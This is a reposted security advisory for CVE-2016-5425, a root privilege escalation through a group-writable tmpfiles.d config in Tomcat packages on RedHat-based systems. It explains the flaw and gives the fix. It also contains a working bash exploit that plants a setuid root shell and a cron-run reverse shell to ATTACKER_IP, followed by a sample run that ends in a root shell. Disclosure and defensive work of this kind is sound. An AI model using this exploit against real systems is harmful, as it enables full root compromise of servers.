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packetstormDawid GolunskiPACKETSTORM:139041
HistoryOct 10, 2016 - 12:00 a.m.

Apache Tomcat 8 / 7 / 6 Privilege Escalation

2016-10-1000:00:00
Dawid Golunski
packetstormsecurity.com
186

0.001 Low

EPSS

Percentile

48.1%

`=============================================  
- Discovered by: Dawid Golunski  
- http://legalhackers.com  
- dawid (at) legalhackers.com  
  
- CVE-2016-5425   
- Release date: 10.10.2016  
- Revision: 1  
- Severity: High  
=============================================  
  
  
I. VULNERABILITY  
-------------------------  
  
Apache Tomcat (packaging on RedHat-based distros) - Root Privilege Escalation  
  
  
II. BACKGROUND  
-------------------------  
  
"The Apache TomcatAaAA(r) software is an open source implementation of the   
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket   
technologies. The Java Servlet, JavaServer Pages, Java Expression Language   
and Java WebSocket specifications are developed under the Java Community   
Process.  
  
The Apache Tomcat software is developed in an open and participatory   
environment and released under the Apache License version 2.   
The Apache Tomcat project is intended to be a collaboration of the   
best-of-breed developers from around the world.  
  
Apache Tomcat software powers numerous large-scale, mission-critical web   
applications across a diverse range of industries and organizations.   
Some of these users and their stories are listed on the PoweredBy wiki page.  
"  
  
http://tomcat.apache.org/  
  
  
III. INTRODUCTION  
-------------------------  
  
Apache Tomcat packages provided by default repositories of RedHat-based   
distributions (including CentOS, RedHat, OracleLinux, Fedora, etc.)   
create a tmpfiles.d configuration file with insecure permissions which  
allow attackers who are able to write files with tomcat user permissions  
(for example, through a vulnerability in web application hosted on Tomcat)  
to escalate their privileges from tomcat user to root and fully compromise   
the target system.  
  
  
IV. DESCRIPTION  
-------------------------  
  
The vulnerability stems from the tomcat.conf file installed by default   
by packages on RedHat-based systems with write permissions for the tomcat  
group:  
  
[root@centos7 ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf   
-rw-rw-r--. 1 root tomcat 361 Oct 9 23:58 /usr/lib/tmpfiles.d/tomcat.conf  
  
The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage   
temporary files including their creation.  
  
Attackers could very easily exploit the weak permissions on tomcat.conf to   
inject configuration that creates a rootshell or remote reverse shell that   
allows them to execute arbitrary commands with root privileges.  
  
Injected malicious settings would be processed whenever   
/usr/bin/systemd-tmpfiles gets executed.   
  
systemd-tmpfiles is executed by default on boot on RedHat-based systems  
through systemd-tmpfiles-setup.service service as can be seen below:  
  
  
---[ /usr/lib/systemd/system/systemd-tmpfiles-setup.service ]---  
  
[...]  
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev  
  
----------------------------------------------------------------  
  
Depending on the system in use, the execution of systemd-tmpfiles could also   
be triggered by other services, cronjobs, startup scripts etc.  
  
  
The vulnerability could potentially get exploited by remote attackers in  
combination with a vulnerable web application hosted on Tomcat if they  
managed to find a path traversal (e.g in a file upload feature) or an arbitrary   
file write/append vulnerability. This would allow them to append settings  
to /usr/lib/tmpfiles.d/tomcat.conf file and achieve code execution with root  
privileges without a prior local access/shell on the system.  
This vector could prove useful to attackers, for example if they were unable to   
obtain a tomcat-privileged shell/codeexec by uploading a .jsp webshell through a   
vulnerable file upload feature due to restrictions imposed by Tomcat security   
manager, or a read-only webroot etc.  
  
It is worth to note that systemd-tmpfiles does not stop on syntax errors when   
processing configuration files which makes exploitation easier as attackers only  
need to inject their payload after a new line and do not need to worry   
about garbage data potentially prepended by a vulnerable webapp in case of  
Arbitrary File Write/Append exploitation.  
  
  
  
V. PROOF OF CONCEPT EXPLOIT  
-------------------------  
  
-----------[ tomcat-RH-root.sh ]---------  
  
#!/bin/bash  
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit  
# CVE-2016-5425  
#  
# Full advisory at:  
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html  
#  
# Discovered and coded by:  
# Dawid Golunski  
# http://legalhackers.com  
#  
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.  
#  
# For testing purposes only.  
#  
  
ATTACKER_IP=127.0.0.1  
ATTACKER_PORT=9090  
  
echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"  
echo -e " Discovered by Dawid Golunski\n"  
echo "[+] Checking vulnerability"  
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'  
if [ $? -ne 0 ]; then  
echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"  
exit 1  
fi  
echo -e "\n[+] Your system is vulnerable!"  
  
echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."  
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf  
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash  
z /usr/share/tomcat/rootsh 4770 root root -  
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n"  
_eof_  
  
echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"  
cat /usr/lib/tmpfiles.d/tomcat.conf  
echo -e "\n[+] Payload injected! Wait for your root shell...\n"  
echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.),   
the rootshell will be created in /usr/share/tomcat/rootsh.   
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"  
  
  
--------------[ eof ]--------------------  
  
  
Example run:  
  
-bash-4.2$ rpm -qa | grep -i tomcat  
tomcat-7.0.54-2.el7_1.noarch  
  
-bash-4.2$ cat /etc/redhat-release   
CentOS Linux release 7.2.1511 (Core)   
  
-bash-4.2$ id  
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023  
  
-bash-4.2$ ./tomcat-RH-root.sh   
  
* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *  
Discovered by Dawid Golunski  
  
[+] Checking vulnerability  
-rw-rw-r--. 1 root tomcat 43 Oct 10 02:39 /usr/lib/tmpfiles.d/tomcat.conf  
  
[+] Your system is vulnerable!  
  
[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf...  
[+] /usr/lib/tmpfiles.d/tomcat.conf contains:  
f /var/run/tomcat.pid 0644 tomcat tomcat -  
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash  
z /usr/share/tomcat/rootsh 4770 root root -  
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/127.0.0.1/9090 0<&1 2>&1 & \n\n"  
  
[+] Payload injected! Wait for your root shell...  
  
Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.),   
the rootshell will be created in /usr/share/tomcat/rootsh.   
Additionally, a reverse shell should get executed by crond shortly after and connect to 127.0.0.1:9090   
  
-bash-4.2$ nc -l -p 9090  
bash: no job control in this shell  
[root@centos7 ~]# id  
id  
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023  
  
[root@centos7 ~]# ls -l /usr/share/tomcat/rootsh  
ls -l /usr/share/tomcat/rootsh  
-rwsrwx---. 1 root root 960392 Aug 2 12:00 /usr/share/tomcat/rootsh  
[root@centos7 ~]#   
  
  
  
VI. BUSINESS IMPACT  
-------------------------  
  
Attackers who have gained access to tomcat user account or the ability to  
write files as tomcat user could escalate their privileges to root and fully   
compromise the affected system.  
  
As explained in section IV., the vulnerability could potentially get exploited  
by remote attackers in combination with certain web application vulnerabilities  
to achieve command execution without prior shell access.  
  
  
VII. SYSTEMS AFFECTED  
-------------------------  
  
Multiple versions of Tomcat packages on RedHat-based systems are affected.  
  
The vulnerability was confirmed on Tomcat installed from default repositories  
on the following systems:  
  
- CentOS  
- Fedora  
- Oracle Linux  
- RedHat  
  
Refer to information provided by your distribution to obtain an exact list  
of vulnerable packages.  
  
  
Detailes provided by RedHat can be found at:  
  
https://access.redhat.com/security/cve/CVE-2016-5425  
  
  
VIII. SOLUTION  
-------------------------  
  
Adjust permissions on /usr/lib/tmpfiles.d/tomcat.conf file to remove write  
permission for the tomcat group.  
  
Alternatively, update to the latest packages provided by your distribution.  
Confirm the file permissions after the update.  
  
  
IX. REFERENCES  
-------------------------  
  
http://legalhackers.com  
  
http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html  
  
The source code of the exploit (tomcat-RH-root.sh) can be downloaded from:  
http://legalhackers.com/exploits/tomcat-RH-root.sh  
  
CVE-2016-5425  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425  
  
https://access.redhat.com/security/cve/CVE-2016-5425  
  
  
X. CREDITS  
-------------------------  
  
The vulnerability has been discovered by Dawid Golunski  
dawid (at) legalhackers (dot) com  
http://legalhackers.com  
  
XI. REVISION HISTORY  
-------------------------  
  
10.10.2016 - Advisory released  
  
XII. LEGAL NOTICES  
-------------------------  
  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. I accept no  
responsibility for any damage caused by the use or misuse of this information.  
  
`